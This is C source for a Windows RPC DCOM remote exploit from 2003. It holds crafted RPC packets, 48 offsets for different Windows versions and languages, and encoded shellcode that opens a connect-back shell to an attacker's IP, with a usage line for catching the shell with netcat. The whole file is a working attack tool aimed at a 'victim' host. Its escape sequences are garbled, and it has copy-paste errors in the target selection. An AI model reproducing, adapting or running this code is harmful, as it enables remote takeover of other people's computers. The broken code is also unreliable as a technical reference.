//////////////////////////////////////////////////////////////////////////
//
//   Windows RPC DCOM Remote Exploit with 48 TARGETS (Fixed)
//
//////////////////////////////////////////////////////////////////////////
// 
//            English - French - Chinese - Polish - German
//              Japanese - Korean - Mexican - Kenyan
//
//          Tks to all wolrd wide contributors (Public Property)
// 
//                 New Targets ? contrib@k-otik.com 
//
//////////////////////////////////////////////////////////////////////////



#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

#define DWORD unsigned long
WSADATA wsa;

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};



/* Myam add OFFSETS*/

char winntsp4eng[] = "xe5x27xf3x77"; /* English winNT sp4 */
char winntsp5cn[] = "xcfxdaxeex77"; /* china winNT sp5 */
char winntsp6cn[] = "xacx0exf0x77"; /* china winNT sp6 */
char winntsp6acn[] = "xc3xeaxf0x77"; /* china NT sp6a */
char win2knosppl[] = "x4dx3fxe3x77"; /* polish win2k nosp ver 5.00.2195*/
char win2ksp3pl[] = "x29x2cxe4x77"; /* polish win2k sp3 - ver 5.00.2195 tested */
char win2ksp4sp[] = "x13x3bxa5x77"; /* spanish win2k sp4 */
char win2knospeng1[] = "x74x16xe8x77"; /* english win2k nosp 1 */
char win2knospeng2[] = "x6dx3fxe3x77"; /* english win2k nosp 2 */
char win2ksp1eng[] = "xecx29xe8x77"; /* english win2k sp1 */
char win2ksp2eng1[] = "x2bx49xe2x77"; /* english win2k sp2 1 */
char win2ksp2eng2[] = "xb5x24xe8x77"; /* english win2k sp2 2 */
char win2ksp3eng1[] = "x7ax36xe8x77"; /* english win2k sp3 1 */
char win2ksp3eng2[] = "x5cxfax2ex77"; /* english win2k sp3 2 */
char win2ksp4eng[] = "x9bx2axf9x77"; /* english win2k sp4 */
char win2knospchi[] = "x2axe3xe2x77"; /* china win2k nosp */
char win2ksp1chi[] = "x8bx89xe6x77"; /* china win2k sp1 */
char win2ksp2chi[] = "x2bx49xe0x77"; /* china win2k sp2 */
char win2ksp3chi[] = "x44x43x42x41"; /* china win2k sp3 */
char win2ksp4chi[] = "x29x4cxdfx77"; /* china win2k sp4 */
char win2ksp3ger[] = "x7ax88x2ex77"; /* german win2k sp3 */
char win2knospjap[] = "xe5x27xf3x77"; /* Japanese win2k nosp */
char win2ksp1jap[] = "x8bx89xe5x77"; /* Japanese win2k sp1 */
char win2ksp2jap[] = "x2bx49xdfx77"; /* japanese win2k sp2 */
char win2knospkr[] = "x2axe3xe1x77"; /* Korea win2k nosp */
char win2ksp1kr[] = "x8bx89xe5x77"; /* Korea win2k sp1 same offset as win2kjp_sp1 ??*/
char win2ksp2kr[] = "x2bx49xdfx77"; /* Korea win2k sp2 */
char win2knospmx[] = "x2axe3xe1x77"; /* Mexican win2k nosp */
char win2ksp1mx[] = "x8bx89xe8x77"; /* Mexican win2k sp1 */
char win2knospken[] = "x4dx3fxe3x77"; /* Kenya win2k sp1 */
char win2ksp1ken[] = "x8bx89xe8x77"; /* Kenya win2k sp1 */
char win2ksp2ken[] = "x2bx49xe2x77"; /* Kenya win2k sp1 */
char winxpnospeng[] = "xe3xafxe9x77"; /* english xp nosp ver 5.1.2600 */
char winxpsp1eng1[] = "xbax26xe6x77"; /* english xp sp1 1 */
char winxpsp1eng2[] = "xdbx37xd7x77"; /* english xp sp1 2 */
char winxpsp2eng[] = "xbdx73x7dx77"; /* english xp sp2 */
char win2k3nospeng[] = "xb0x54x22x77"; /* english win2k3 */
char Win2ksp3ger[] = "x29x2cxe3x77"; /* Germanh win2 sp3 */
char Win2ksp4ger1[] = "x29x4cxe0x77"; /* German win2 sp4 1 */
char Win2ksp4ger2[] = "x56xc2xe2x77"; /* German win2 sp4 2 */
char winxpsp1ger[] = "xfcx18xd4x77"; /* German xp sp1 */
char Win2ksp1fr[] = "x4bx3exe4x77"; /* French win2k Server SP1 */
char Win2ksp4fr[] = "x56xc2xe2x77"; /* French win2k Server SP4 */
char winxpsp0fr[] = "x4ax75xd4x77"; /* French win xp no sp */
char winxpsp1fr[] = "xfcx18xd4x77"; /* French win xp sp 1 */
char win2ksp3big[] = "x25x2bxaax77";
char win2ksp4big[] = "x29x4cxdfx77";
char winxpsp01big[] = "xfbx7bxa1x71";



/* Test this offset
( Japanese Windows 2000 Pro SP2 ) : 0x77DF492B
Windows 2000 (no-service-pack) English 0x77e33f6d
0x77f92a9b
0x77e2afc5
0x772254b0 win2k3
0x77E829E3 / 0x77E83587 kokanin win2k sp3
*/ 
unsigned char sc[]=
"x46x00x58x00x4Ex00x42x00x46x00x58x00"
"x46x00x58x00x4Ex00x42x00x46x00x58x00x46x00x58x00"
"x46x00x58x00x46x00x58x00"


"x29x4cxdfx77" //sp4
//"x29x2cxe2x77"//0x77e22c29


"x38x6ex16x76x0dx6ex16x76" //??????????


"xebx02xebx05xe8xf9xffxffxffx58x83xc0x1bx8dxa0x01"
"xfcxffxffx83xe4xfcx8bxecx33xc9x66xb9x99x01x80x30"
"x93x40xe2xfa"
// code 
"x7bxe4x93x93x93xd4xf6xe7xc3xe1xfcxf0xd2xf7xf7xe1"
"xf6xe0xe0x93xdfxfcxf2xf7xdfxfaxf1xe1xf2xe1xeaxd2"
"x93xd0xe1xf6xf2xe7xf6xc3xe1xfcxf0xf6xe0xe0xd2x93"
"xd0xffxfcxe0xf6xdbxf2xfdxf7xffxf6x93xd6xebxfaxe7"
"xc7xfbxe1xf6xf2xf7x93xe4xe0xa1xccxa0xa1x93xc4xc0"
"xd2xc0xe7xf2xe1xe7xe6xe3x93xc4xc0xd2xc0xfcxf0xf8"
"xf6xe7xd2x93xf0xffxfcxe0xf6xe0xfcxf0xf8xf6xe7x93"
"xf0xfcxfdxfdxf6xf0xe7x93xf0xfexf7x93xc9xc1x28x93"
"x93x63xe4x12xa8xdexc9x03x93xe7x90xd8x78x66x18xe0"
"xafx90x60x18xe5xebx90x60x18xedxb3x90x68x18xddx87"
"xc5xa0x53xc4xc2x18xacx90x68x18x61xa0x5ax22x9dx60"
"x35xcaxccxe7x9bx10x54x97xd3x71x7bx6cx72xcdx18xc5"
"xb7x90x40x42x73x90x51xa0x5axf5x18x9bx18xd5x8fx90"
"x50x52x72x91x90x52x18x83x90x40xcdx18x6dxa0x5ax22"
"x97x7bx08x93x93x93x10x55x98xc1xc5x6cxc4x63xc9x18"
"x4bxa0x5ax22x97x7bx14x93x93x93x10x55x9bxc6xfbx92"
"x92x93x93x6cxc4x63x16x53xe6xe0xc3xc3xc3xc3xd3xc3"
"xd3xc3x6cxc4x67x10x6bx6cxe7xf0x18x4bxf5x54xd6x93"
"x91x93xf5x54xd6x91x28x39x54xd6x97x4ex5fx28x39xf9"
"x83xc6xc0x6cxc4x6fx16x53xe6xd0xa0x5ax22x82xc4x18"
"x6ex60x38xccx54xd6x93xd7x93x93x93x1axcexafx1axce"
"xabx1axcexd3x54xd6xbfx92x92x93x93x1exd6xd7xc3xc6"
"xc2xc2xc2xd2xc2xdaxc2xc2xc5xc2x6cxc4x77x6cxe6xd7"
"x6cxc4x7bx6cxe6xdbx6cxc4x7bxc0x6cxc4x6bxc3x6cxc4"
"x7fx19x95xd5x17x53xe6x6axc2xc1xc5xc0x6cx41xc9xca"
"x1ax94xd4xd4xd4xd4x71x7ax50x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90";

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

int main(int argc,char ** argv)
{

int len, len1, sockfd;
short port=135;
struct hostent *he;
struct sockaddr_in their_addr;


unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;


DWORD cb;


WSAStartup(MAKEWORD(2,0),&wsa);


printf("OC192 RPC DCOM Remote Exploit BSD/Linux Port, thanks LSD and XFORCEn");
printf("RPC DCOM Remote Exploit modified by www.k-otiK.com ;>n");


if(argc<5)
{

printf("[<$>] RPC Remote Windows Exploitn");
printf("[<$>] Modified by www.k-otiK.com - New Exploits Databasen");
printf("[<$>] Thanks to b@digitalwaste.org + J?rgen_Haa? + woutiir n");
printf("[<$>] Usage: %s <victim> <connectback ip> <cb port> <target>n",argv[0]);
printf("[<$>] On connect back nc -lp cbportn");
printf("[<$>] Targets: 0 WinNT English +sp4n");
printf("[<$>] 1 WinNT China +sp5n");
printf("[<$>] 2 WinNT China +sp6n");
printf("[<$>] 3 WinNT China +sp6an");
printf("[<$>] 4 Win2k Polish nosp ver 5.00.2195n");
printf("[<$>] 5 Win2k Polish +sp3 ver 5.00.2195n");
printf("[<$>] 6 Win2k Spanish +sp4n");
printf("[<$>] 7 Win2k English nosp 1n");
printf("[<$>] 8 Win2k English nosp 2n");
printf("[<$>] 9 Win2k English +sp1n");
printf("[<$>] 10 Win2k English +sp2 1n");
printf("[<$>] 11 Win2k English +sp2 2n");
printf("[<$>] 12 Win2k English +sp3 1n");
printf("[<$>] 13 Win2k English +sp3 2n");
printf("[<$>] 14 Win2k English +sp4n");
printf("[<$>] 15 Win2k China nospn");
printf("[<$>] 16 Win2k China +sp1n");
printf("[<$>] 17 Win2k China +sp2n");
printf("[<$>] 18 Win2k China +sp3n");
printf("[<$>] 19 Win2k China +sp4n");
printf("[<$>] 20 Win2k German +sp3n");
printf("[<$>] 21 Win2k Japanese nospn");
printf("[<$>] 22 Win2k Japanese +sp1n");
printf("[<$>] 23 Win2k Japanese +sp2n");
printf("[<$>] 24 Win2k Korea nospn");
printf("[<$>] 25 Win2k Korea +sp1n");
printf("[<$>] 26 Win2k Korea +sp2n");
printf("[<$>] 27 Win2k Mexican nospn");
printf("[<$>] 28 Win2k Mexican +sp1n");
printf("[<$>] 29 Win2k Kenya nospn");
printf("[<$>] 30 Win2k Kenya +sp1n");
printf("[<$>] 31 Win2k Kenya +sp2n");
printf("[<$>] 32 WinXP English nosp ver 5.1.2600n");
printf("[<$>] 33 WinXP English +sp1 1n");
printf("[<$>] 34 WinXP English +sp1 2n");
printf("[<$>] 35 WinXP English +sp2n");
printf("[<$>] 36 Win2k3 English nospn");
printf("[<$>] 37 Win2k german sp3n");
printf("[<$>] 38 Win2k german sp4n");
printf("[<$>] 39 Win2k german sp4 2n");
printf("[<$>] 40 Winxp german sp1 2n");
printf("[<$>] 41 Win2k french sp1n");
printf("[<$>] 42 Win2k french sp4n");
printf("[<$>] 43 Winxp french sp0n");
printf("[<$>] 44 Winxp french sp1n");
printf("[<$>] 45 Win2k big5 sp3n");
printf("[<$>] 46 Win2k big5 sp4n");
printf("[<$>] 47 Winxp big5 sp0n");


exit(1);
}


if ((he=gethostbyname(argv[1])) == NULL) { // get the host info

perror("gethostbyname");

exit(1);

}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

perror("socket");

exit(1);

}


their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(port);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '', 8);


if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct 
sockaddr)) == -1) {
printf("Sorry, cannot connect to %s. Try again...n", argv[1]);

exit(1);
}



if(atoi(argv[4])==0)

memcpy(sc+36,winntsp4eng,sizeof(winntsp4eng));
else if (atoi(argv[4])==1)
memcpy(sc+36,winntsp5cn,sizeof(winntsp5cn));
else if (atoi(argv[4])==2)
memcpy(sc+36,winntsp6cn,sizeof(winntsp6cn));
else if (atoi(argv[4])==3)
memcpy(sc+36,winntsp6acn,sizeof(winntsp6acn));
else if (atoi(argv[4])==4)
memcpy(sc+36,win2knosppl,sizeof(win2knosppl));
else if (atoi(argv[4])==5)
memcpy(sc+36,win2ksp3pl,sizeof(win2ksp3pl));
else if (atoi(argv[4])==6)
memcpy(sc+36,win2ksp4sp,sizeof(win2ksp4sp));
else if (atoi(argv[4])==7)
memcpy(sc+36,win2knospeng1,sizeof(win2knospeng1));
else if (atoi(argv[4])==8)
memcpy(sc+36,win2knospeng2,sizeof(win2knospeng2));
else if (atoi(argv[4])==9)
memcpy(sc+36,win2ksp1eng,sizeof(win2ksp1eng));
else if (atoi(argv[4])==10)
memcpy(sc+36,win2ksp2eng1,sizeof(win2ksp2eng1));
else if (atoi(argv[4])==11)
memcpy(sc+36,win2ksp2eng2,sizeof(win2ksp2eng2));
else if (atoi(argv[4])==12)
memcpy(sc+36,win2ksp3eng1,sizeof(win2ksp3eng1));
else if (atoi(argv[4])==13)
memcpy(sc+36,win2ksp3eng2,sizeof(win2ksp3eng2));
else if (atoi(argv[4])==14)
memcpy(sc+36,win2ksp4eng,sizeof(win2ksp4eng));
else if (atoi(argv[4])==15)
memcpy(sc+36,win2knospchi,sizeof(win2knospchi));
else if (atoi(argv[4])==16)
memcpy(sc+36,win2ksp1chi,sizeof(win2ksp1chi));
else if (atoi(argv[4])==17)
memcpy(sc+36,win2ksp2chi,sizeof(win2ksp2chi));
else if (atoi(argv[4])==18)
memcpy(sc+36,win2ksp3chi,sizeof(win2ksp3chi));
else if (atoi(argv[4])==19)
memcpy(sc+36,win2ksp4chi,sizeof(win2ksp4chi));
else if (atoi(argv[4])==20)
memcpy(sc+36,win2ksp3ger,sizeof(win2ksp3ger));
else if (atoi(argv[4])==21)
memcpy(sc+36,win2knospjap,sizeof(win2knospjap));
else if (atoi(argv[4])==22)
memcpy(sc+36,win2ksp1jap,sizeof(win2ksp1jap));
else if (atoi(argv[4])==23)
memcpy(sc+36,win2ksp2jap,sizeof(win2ksp2jap));
else if (atoi(argv[4])==24)
memcpy(sc+36,win2knospkr,sizeof(win2knospkr));
else if (atoi(argv[4])==25)
memcpy(sc+36,win2ksp1kr,sizeof(win2ksp1kr));
else if (atoi(argv[4])==26)
memcpy(sc+36,win2ksp2kr,sizeof(win2ksp2kr));
else if (atoi(argv[4])==27)
memcpy(sc+36,win2knospmx,sizeof(win2knospmx));
else if (atoi(argv[4])==28)
memcpy(sc+36,win2ksp1mx,sizeof(win2ksp1mx));
else if (atoi(argv[4])==29)
memcpy(sc+36,win2knospken,sizeof(win2knospken));
else if (atoi(argv[4])==30)
memcpy(sc+36,win2ksp1ken,sizeof(win2ksp1ken));
else if (atoi(argv[4])==31)
memcpy(sc+36,win2ksp2ken,sizeof(win2ksp2ken));
else if (atoi(argv[4])==32)
memcpy(sc+36,winxpnospeng,sizeof(winxpnospeng));
else if (atoi(argv[4])==33)
memcpy(sc+36,winxpsp1eng1,sizeof(winxpsp1eng1));
else if (atoi(argv[4])==34)
memcpy(sc+36,winxpsp1eng2,sizeof(winxpsp1eng2));
else if (atoi(argv[4])==35)
memcpy(sc+36,winxpsp2eng,sizeof(winxpsp2eng));
else if (atoi(argv[4])==36)
memcpy(sc+36,win2k3nospeng,sizeof(win2k3nospeng));
else if (atoi(argv[4])==37) 
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp3ger));
else if (atoi(argv[4])==38) 
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp4ger1));
else if (atoi(argv[4])==39) 
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp4ger2));
else if (atoi(argv[4])==40) 
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp1ger));
else if (atoi(argv[4])==41)
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp1fr));
else if (atoi(argv[4])==42)
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp4fr));
else if (atoi(argv[4])==43)
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp0fr));
else if (atoi(argv[4])==44)
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp1fr));
else if (atoi(argv[4])==45)
memcpy(sc+36,win2k3nospeng,sizeof(win2ksp3big));
else if (atoi(argv[4])==46)
memcpy(sc+36,win2k3nospeng,sizeof(win2ksp4big));
else if (atoi(argv[4])==47)
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp01big));


port1 = htons(atoi(argv[3]));
port1 ^= 0x9393;
cb=inet_addr(argv[2]); 
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);

*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;

*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; 
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;



if(send(sockfd, bindstr, sizeof(bindstr), 0)== -1){
printf("Send failed pussy.n");
exit(1);
}

len=recv(sockfd,buf1,1000,0);
if (send(sockfd,buf2,len1,0)==SOCKET_ERROR) {

printf("Send failed pussyn");
exit (1);
}
len=recv(sockfd,buf1,1024,0);
return 0;
}

// www.Syue.com [2003-07-30]